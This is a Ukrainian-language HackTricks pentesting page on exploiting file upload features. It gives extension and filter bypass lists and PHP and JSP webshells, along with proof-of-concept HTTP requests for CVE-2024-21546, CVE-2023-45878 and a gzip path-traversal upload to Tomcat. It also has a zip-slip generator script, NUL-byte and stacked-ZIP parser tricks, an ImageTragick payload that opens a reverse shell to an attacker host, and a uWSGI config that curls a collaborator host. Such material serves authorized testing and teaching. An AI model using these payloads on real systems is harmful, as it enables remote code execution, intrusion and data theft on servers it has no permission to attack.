Завантаження файлів

Reading time: 25 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Загальна методологія завантаження файлів

Інші корисні розширення:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Обхід перевірок розширень файлів

  1. Якщо це застосовується, перевірте попередні розширення. Також тестуйте їх, використовуючи прописні літери: pHp, .pHP5, .PhAr ...
  2. Перевірте додавання допустимого розширення перед виконуваним розширенням (також використовуйте попередні розширення):
  • file.png.php
  • file.png.Php5
  1. Спробуйте додати спеціальні символи в кінці. Ви можете використати Burp для bruteforce всіх ascii та Unicode символів. (Зауваження: ви також можете спробувати використати раніше згадані розширення)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Спробуйте обійти захист, обманюючи парсер розширень на боці сервера такими техніками, як подвоєння розширення або додавання сміттєвих даних (null байтів) між розширеннями. Ви також можете використати попередні розширення для підготовки кращого payload.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Додайте ще один рівень розширень до попередньої перевірки:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Спробуйте помістити виконавче розширення перед дійсним розширенням і сподівайтеся, що сервер некоректно налаштований. (корисно для експлуатації помилок конфігурації Apache, де будь-який файл з розширенням .php, але не обов'язково що закінчується на .php, виконуватиме код):
  • ex: file.php.png
  1. Використання NTFS alternate data stream (ADS) у Windows. У цьому випадку після забороненого розширення та перед дозволеним вставляється символ двокрапки ":”. В результаті на сервері буде створено порожній файл із забороненим розширенням (e.g. "file.asax:.jpg”). Цей файл можна пізніше відредагувати іншими техніками, наприклад, використовуючи його коротке ім'я. Шаблон "::$data” також можна використати для створення непорожніх файлів. Тому додавання крапки після цього шаблону може бути корисним для обходу подальших обмежень (.e.g. "file.asp::$data.”)
  2. Спробуйте перевантажити обмеження довжини імені файлу. Дійсне розширення обрізається. І залишається шкідливий PHP. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. кінцева крапка) – CVE-2024-21546

Деякі upload handlers обрізають або нормалізують кінцеві крапки в збереженому імені файлу. У UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) версіях до 2.9.1 можна обійти перевірку розширень, якщо:

  • Використовуючи дійсний image MIME та magic header (e.g., PNG’s \x89PNG\r\n\x1a\n).
  • Назвавши завантажений файл з розширенням PHP із наступною крапкою, e.g., shell.php..
  • Сервер обрізає кінцеву крапку і зберігає shell.php, який виконуватиметься, якщо буде поміщений у веб-доступну директорію (default public storage like /storage/files/).

Мінімальний PoC (Burp Repeater):

http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Потім зверніться до збереженого шляху (типово для Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Обхід Content-Type, Magic Number, Compression & Resizing

  • Обійти перевірки Content-Type, встановивши значення заголовка Content-Type на: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Обійти перевірку magic number, додавши на початок файлу байти реального зображення (заплутати команду file). Або ввести шелл всередину metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ або ви також можете вставити payload прямо в зображення:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Якщо до вашого зображення застосовується компресія, наприклад через стандартні PHP-бібліотеки, такі як PHP-GD, попередні техніки можуть не спрацювати. Проте ви можете використати PLTE chunk technique defined here щоб вставити текст, який переживе компресію.
  • Github with the code
  • Веб-сторінка також може змінювати розмір зображення, використовуючи, наприклад, PHP-GD функції imagecopyresized або imagecopyresampled. Однак можна використати IDAT chunk technique defined here щоб вставити текст, який переживе компресію.
  • Github with the code
  • Інша техніка для створення payload, який переживе зміну розміру зображення, використовуючи PHP-GD функцію thumbnailImage. Також можна використати tEXt chunk technique defined here щоб вставити текст, який переживе компресію.
  • Github with the code

Інші трюки для перевірки

  • Знайдіть вразливість, яка дозволяє перейменувати вже завантажений файл (щоб змінити розширення).
  • Знайдіть Local File Inclusion вразливість для виконання backdoor.
  • Можливе розголошення інформації:
  1. Завантажте кілька разів (і в той самий час) той самий файл з тим самим іменем
  2. Завантажте файл з іменем файлу або папки, яка вже існує
  3. Завантаження файлу з "." , "..", або "…" як ім'я. Наприклад, в Apache на Windows, якщо застосунок зберігає завантажені файли в директорії "/www/uploads/", ім'я файлу "." створить файл з назвою uploads” в директорії "/www/".
  4. Завантаження файлу, який важко видалити, наприклад "…:.jpg" в NTFS. (Windows)
  5. Завантаження файлу в Windows з недопустимими символами в імені, такими як |<>*?”. (Windows)
  6. Завантаження файлу в Windows з використанням зарезервованих (заборонених) імен, таких як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Спробуйте також завантажити виконуваний файл (.exe) або .html (менш підозрілий), який виконуватиме код при випадковому відкритті жертвою.

Special extension tricks

Якщо ви намагаєтеся завантажити файли на PHP server, take a look at the .htaccess trick to execute code.
Якщо ви намагаєтеся завантажити файли на ASP server, take a look at the .config trick to execute code.

Файли .phar схожі на .jar для java, але для php, і можуть бути використані як php-файл (виконуватися з php, або включені всередину скрипта...)

Розширення .inc іноді використовується для php-файлів, які тільки імпортують файли, тому іноді це розширення могло бути дозволене для виконання.

Jetty RCE

Якщо ви можете завантажити XML файл на Jetty server, ви можете отримати RCE because **new .xml and .war are automatically processed. Отже, як зазначено на наведеному зображенні, завантажте XML файл в $JETTY_BASE/webapps/ і очікуйте shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Для детального вивчення цієї вразливості перевірте оригінальне дослідження: uWSGI RCE Exploitation.

Remote Command Execution (RCE) вразливості можуть бути експлуатовані на uWSGI серверах, якщо є можливість змінювати .ini конфігураційний файл. Конфігураційні файли uWSGI використовують специфічний синтаксис для включення "magic" змінних, плейсхолдерів та операторів. Особливо оператор '@', який використовується як @(filename), призначений для включення вмісту файлу. Серед різних схем, що підтримуються в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані зі стандартного виводу процесу. Ця можливість може бути використана для зловмисних цілей, таких як Remote Command Execution або Arbitrary File Write/Read, коли обробляється .ini конфігураційний файл.

Розгляньте наступний приклад шкідливого файлу uwsgi.ini, що демонструє різні схеми:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Виконання payload відбувається під час парсингу файлу конфігурації. Щоб конфігурацію було активовано й розпарсено, процес uWSGI має бути перезапущений (можливо після збою або через Denial of Service attack) або файл має бути налаштований на auto-reload. Функція auto-reload, якщо ввімкнена, перезавантажує файл через задані інтервали при виявленні змін.

Важливо розуміти невибагливість парсингу файлу конфігурації uWSGI. Зокрема, обговорюваний payload може бути вставлений у binary file (наприклад, image або PDF), що ще більше розширює можливості експлуатації.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Ендпоінт без автентифікації в Gibbon LMS дозволяє arbitrary file write у межах web root, що призводить до pre-auth RCE шляхом розміщення PHP-файлу. Уразливі версії: до і включно 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (сервер ігнорує type/name, декодує base64 хвіст)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (e.g., 0000000001)

Minimal PoC to write and read back a file:

bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Завантажити мінімальний webshell та виконувати команди:

bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Примітки:

  • Обробник виконує base64_decode($_POST["img"]) після розбиття за ; і ,, потім записує байти до $absolutePath . '/' . $_POST['path'] без перевірки розширення/типу.
  • Отриманий код виконується від імені користувача веб‑сервісу (наприклад, XAMPP Apache на Windows).

Джерела щодо цього бага включають usd HeroLab advisory та запис у NVD. Див. розділ References нижче.

wget File Upload/SSRF Trick

Інколи ви можете виявити, що сервер використовує wget для завантаження файлів і ви можете вказати URL. У таких випадках код може перевіряти, що розширення завантажуваних файлів входить до білого списку, щоб переконатися, що будуть завантажені лише дозволені файли. Однак, цю перевірку можна обійти.
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. Ви можете завантажити файл з ім'ям "A"*232+".php"+".gif", це ім'я файлу обійде перевірку (в цьому прикладі ".gif" є валідним розширенням), але wget перейменує файл на "A"*232+".php".

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Зверніть увагу, що ще один варіант, який ви можете розглядати для обходу цієї перевірки — змусити HTTP server redirect to a different file, так що початковий URL пройде перевірку, а потім wget завантажить перенаправлений файл під новою назвою. Це не спрацює, якщо не використовується wget з параметром --trust-server-names, оскільки wget завантажить перенаправлену сторінку з ім’ям файлу, вказаним у початковому URL.

Обхід каталогу завантажень через NTFS junctions (Windows)

(Для цієї атаки вам знадобиться локальний доступ до Windows-машини) Коли uploads зберігаються в підкаталогах для кожного користувача на Windows (наприклад, C:\Windows\Tasks\Uploads<id>) і ви контролюєте створення/видалення цього підкаталогу, ви можете замінити його на directory junction, що вказує на чутливе місце (наприклад, webroot). Наступні uploads будуть записані в цільовий шлях, що дасть змогу code execution, якщо ціль інтерпретує server‑side code.

Приклад послідовності дій для перенаправлення uploads у XAMPP webroot:

cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Примітки

  • mklink /J створює NTFS directory junction (reparse point). Обліковий запис веб‑сервера повинен слідувати за junction і мати права запису у destination.
  • Це перенаправляє довільні записи файлів; якщо destination виконує скрипти (PHP/ASP), це перетворюється на RCE.
  • Захист: не дозволяти writable upload roots, контрольовані атакуючим, під C:\Windows\Tasks або подібними шляхами; блокувати створення junction; перевіряти extensions на стороні сервера; зберігати uploads на окремому томі або з deny‑execute ACLs.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Деякі upload/ingest handlers записують raw request body у файловий шлях, який конструюється з user-controlled query parameters. Якщо handler також підтримує Content-Encoding: gzip і не канонізує/не валідирує destination path, можна поєднати directory traversal з gzipped payload, щоб записати довільні байти у web-served директорію і отримати RCE (наприклад, покласти JSP у webapps Tomcat).

Загальний сценарій експлуатації:

  • Підготуйте server-side payload (наприклад, мінімальний JSP webshell) і gzip‑скомпресуйте байти.
  • Відправте POST, де path parameter (наприклад, token) містить traversal, що виходить за межі призначеної папки, а file вказує filename для збереження. Встановіть Content-Type: application/octet-stream і Content-Encoding: gzip; тіло — це стиснутий payload.
  • Відкрийте записаний файл у браузері, щоб спричинити виконання.

Ілюстративний запит:

http
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Потім запустіть:

http
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Notes

  • Цільові шляхи залежать від інсталяції (наприклад, /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ у деяких стеках). Будь-яка веб-доступна папка, яка виконує JSP, підійде.
  • Розширення Hackvertor для Burp Suite може згенерувати коректне gzip тіло з вашим payload.
  • Це чистий pre-auth arbitrary file write → RCE патерн; він не покладається на multipart parsing.

Mitigations

  • Визначайте місце збереження завантажень на стороні сервера; ніколи не довіряйте фрагментам шляху від клієнтів.
  • Канонізуйте та забезпечуйте, щоб резольвнений шлях залишався в межах дозволеної (allow-listed) базової директорії.
  • Зберігайте завантаження на невиконуваному томі та забороняйте виконання скриптів з записуваних шляхів.

Tools

  • Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.

Corrupting upload indices with snprintf quirks (historical)

Деякі застарілі обробники завантажень, які використовують snprintf() або подібні для побудови масивів multi-file з single-file upload, можуть бути обмануті і підробити структуру _FILES. Через непослідовності та усікнення в поведінці snprintf(), ретельно сформоване однофайлове завантаження може виглядати як кілька файлів з індексами на боці сервера, плутаючи логіку, яка припускає певну структуру (наприклад, трактує його як multi-file upload і обирає небезпечні гілки). Хоча сьогодні це рідкість, цей патерн “index corruption” інколи з'являється в CTF та старих кодових базах.

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Завантажте архів, що містить символічні посилання на інші файли, тоді, отримавши доступ до розпакованих файлів, ви звертатиметесь до пов'язаних файлів:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Розпаковування в різні папки

Несподіване створення файлів у каталогах під час розпаковування є серйозною проблемою. Хоча спочатку могло здаватися, що така налаштування захищає від OS-level command execution через malicious file uploads, підтримка ієрархічного стиснення та можливості directory traversal у форматі архіву ZIP можуть бути використані. Це дозволяє зловмисникам обійти обмеження і вийти за межі secure upload directories, маніпулюючи функціоналом розпаковування цільового додатку.

Автоматизований exploit для створення таких файлів доступний на evilarc on GitHub. Утиліту можна використовувати так:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Крім того, можна скористатися опцією symlink trick with evilarc. Якщо мета — отримати доступ до файлу, наприклад /flag.txt, створіть у вашій системі symlink на цей файл. Це гарантує, що evilarc не стикатиметься з помилками під час роботи.

Нижче наведено приклад коду на Python, який використовується для створення шкідливого zip-файлу:

python
#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusing compression for file spraying

Для додаткових деталей перегляньте оригінальний допис за адресою: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: Код PHP написано так, щоб виконувати команди, передані через змінну $_REQUEST.
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Створюється кілька файлів і збирається zip-архів, що містить ці файли.
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Імена файлів всередині zip змінюють за допомогою vi або hex editor, замінюючи "xxA" на "../" для обходу директорій.
bash
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Коли бекенд валідовує записи ZIP за допомогою PHP’s ZipArchive, але екстракція записує на файлову систему з використанням сирих імен, можна провезти заборонене розширення, вставивши NUL (0x00) у поля імен файлів. ZipArchive трактує ім'я запису як C‑string і обрізає його на першому NUL; файлова система записує повне ім'я, відкидаючи все після NUL.

High-level flow:

  • Підготуйте легітимний контейнерний файл (наприклад, дійсний PDF), який вбудовує маленький PHP stub у потік, щоб magic/MIME залишався PDF.
  • Назвіть його, наприклад, shell.php..pdf, створіть zip, потім hex‑edit локальний заголовок ZIP та ім'я в центральному каталозі, замінивши першу . після .php на 0x00, у результаті отримаєте shell.php\x00.pdf.
  • Валідації, що покладаються на ZipArchive, «побачать» shell.php .pdf і дозволять файл; екстрактор запише shell.php на диск, що може призвести до RCE, якщо папка завантажень є виконуваною.

Minimal PoC steps:

bash
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Примітки

  • Змініть ОБА входження імені файлу (local та central directory). Деякі інструменти також додають додатковий запис data descriptor — відкоригуйте всі поля імені, якщо вони присутні.
  • Файл payload має й надалі проходити server‑side magic/MIME sniffing. Вбудування PHP у PDF stream зберігає заголовок валідним.
  • Працює там, де enum/validation path і extraction/write path розходяться в обробці рядків.

Stacked/concatenated ZIPs (розбіжність парсерів)

Конкатенація двох валідних ZIP-файлів створює blob, у якому різні парсери орієнтуються на різні EOCD записи. Багато інструментів знаходять останній End Of Central Directory (EOCD), тоді як деякі бібліотеки (наприклад, ZipArchive у певних робочих процесах) можуть парсити перший архів, який знайдуть. Якщо validation перебирає перший архів, а extraction використовує інший інструмент, який враховує останній EOCD, то нешкідливий архів може пройти перевірки, тоді як шкідливий буде витягнутий.

PoC:

bash
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Abuse pattern

  • Створіть безпечний архів (дозволений тип, наприклад PDF) та другий архів, який містить файл із заблокованим розширенням (наприклад, shell.php).
  • Об'єднайте їх: cat benign.zip evil.zip > combined.zip.
  • Якщо сервер перевіряє одним парсером (бачить benign.zip), але розпаковує іншим (обробляє evil.zip), заблокований файл потрапляє до шляху розпакування.

ImageTragic

Завантажте цей вміст з розширенням зображення, щоб експлуатувати вразливість (ImageMagick , 7.0.1-1)exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Embedding PHP Shell on PNG

Вбудовування PHP shell у IDAT-чанку PNG-файлу може ефективно обійти певні операції обробки зображень. Функції imagecopyresized та imagecopyresampled з PHP-GD особливо релевантні в цьому контексті, оскільки зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися неушкодженим після таких операцій є значною перевагою для певних сценаріїв використання.

Детальний розгляд цієї техніки, включно з методологією та можливими застосуваннями, наведено в наступній статті: "Encoding Web Shells in PNG IDAT chunks". Цей ресурс дає вичерпне розуміння процесу та його наслідків.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot files служать унікальним інструментом у кібербезпеці, виступаючи хамелеонами, які можуть коректно існувати в декількох форматах файлів одночасно. Цікавий приклад — GIFAR, гібрид, який функціонує одночасно як GIF і RAR-архів. Такі файли не обмежуються цим поєднанням; можливі й комбінації на кшталт GIF і JS або PPT і JS.

Основна цінність polyglot файлів полягає в їхній здатності обходити заходи безпеки, які фільтрують файли за типом. У багатьох застосунках звично дозволяють для завантаження лише певні типи файлів — наприклад JPEG, GIF або DOC — щоб зменшити ризик, пов’язаний з потенційно шкідливими форматами (наприклад JS, PHP або Phar). Однак polyglot, відповідаючи структурним вимогам кількох форматів одночасно, може непомітно обійти ці обмеження.

Незважаючи на їхню адаптивність, polyglots мають обмеження. Наприклад, хоча polyglot може одночасно бути PHAR-файлом (PHp ARchive) та JPEG, успіх його завантаження може залежати від політик платформи щодо розширень файлів. Якщо система суворо контролює допустимі розширення, сама структурна подвійність polyglot може не гарантувати можливість завантаження.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Upload valid JSONs like if it was PDF

How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from this blog post):

  • mmmagic library: Поки magic-байти %PDF знаходяться в перших 1024 байтах, файл вважається валідним (див. приклад у пості)
  • pdflib library: Додайте фейковий PDF всередину поля JSON так, щоб бібліотека подумала, що це PDF (див. приклад у пості)
  • file binary: Він може читати до 1048576 байтів з файлу. Просто створіть JSON, більший за цей розмір, щоб утиліта не змогла розпарсити вміст як JSON, і потім всередині JSON вставте початкову частину реального PDF — і вона вважатиме файл PDF

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks